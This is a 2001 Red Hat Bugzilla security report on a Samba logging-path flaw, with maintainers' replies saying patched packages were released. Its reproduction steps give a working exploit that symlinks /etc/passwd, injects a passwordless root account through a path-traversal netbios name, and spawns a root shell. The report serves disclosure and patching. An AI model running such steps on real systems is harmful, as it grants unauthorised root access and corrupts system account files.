Bugzilla will be upgraded to version 5.0. The upgrade date is tentatively scheduled for 2 December 2018, pending final testing and feedback.
Bug 45645 - Log settings in configuration file allow system compromise
Log settings in configuration file allow system compromise
Product: Red Hat Linux
Classification: Retired
Component: samba (Show other bugs)
All Linux
medium Severity medium
: ---
: ---
Assigned To: Trond Eivind Glomsrxd
David Lawrence
: Security
Depends On:
  Show dependency treegraph
Reported: 2001-06-24 11:00 EDT by peterw
Modified: 2007-04-18 12:33 EDT (History)
0 users

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Last Closed: 2001-06-24 13:58:52 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---

Attachments (Terms of Use)

External Trackers
Tracker ID Priority Status Summary Last Updated
Red Hat Product Errata RHSA-2001:086 high SHIPPED_LIVE : New Samba packages available for Red Hat Linux 5.2, 6.2, 7 and 7.1 2001-06-23 00:00:00 EDT

  None (edit)
Description peterw 2001-06-24 11:00:26 EDT
From Bugzilla Helper:
User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.2.19-6.2.1 i686)

Description of problem:
RHAT Samba config contains
log file = /var/log/samba/%m.log

By using unexpected values for netbios names, attackers can create new .log
files, or, using 
sym links, can append to existing files (/etc/passwd?). Michal Zalewski,
who reported the bug
on Bugtraq (and, apparently, to the Samba team), also reports that the
default Samba line of
log file = /var/log/samba/log.%m
may allow attackers to connect with invlid names containing "/" characters,
and evade logging.

How reproducible:

Steps to Reproduce:
(from Michal's report)
1. ln -s /etc/passwd /tmp/x.log
2. smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n
../../../tmp/x -N
...where 'NIMUE' stands for local host name (few error messages
   should be returned).
3. su toor

Actual Results:  root shell

Expected Results:  user "toor" should not exist

Additional info:

Preferred configuration, until Samba releases a patch, is
log file = /var/log/samba/%I.log
log file = /var/log/samba/log.%I
which will make Smaba log by IP address, avoiding the "../" netbios name
Comment 1 Trond Eivind Glomsrxd 2001-06-24 13:58:22 EDT
Updated (2.0.10) rpms for all releases, all architectures are currently in testing.
Comment 2 Trond Eivind Glomsrxd 2001-06-26 17:59:59 EDT
2.2.10 was released yesterday as a security errata for RHL 5.2, 6.2, 7 and 7.1.

Note You need to log in before you can comment on or make changes to this bug.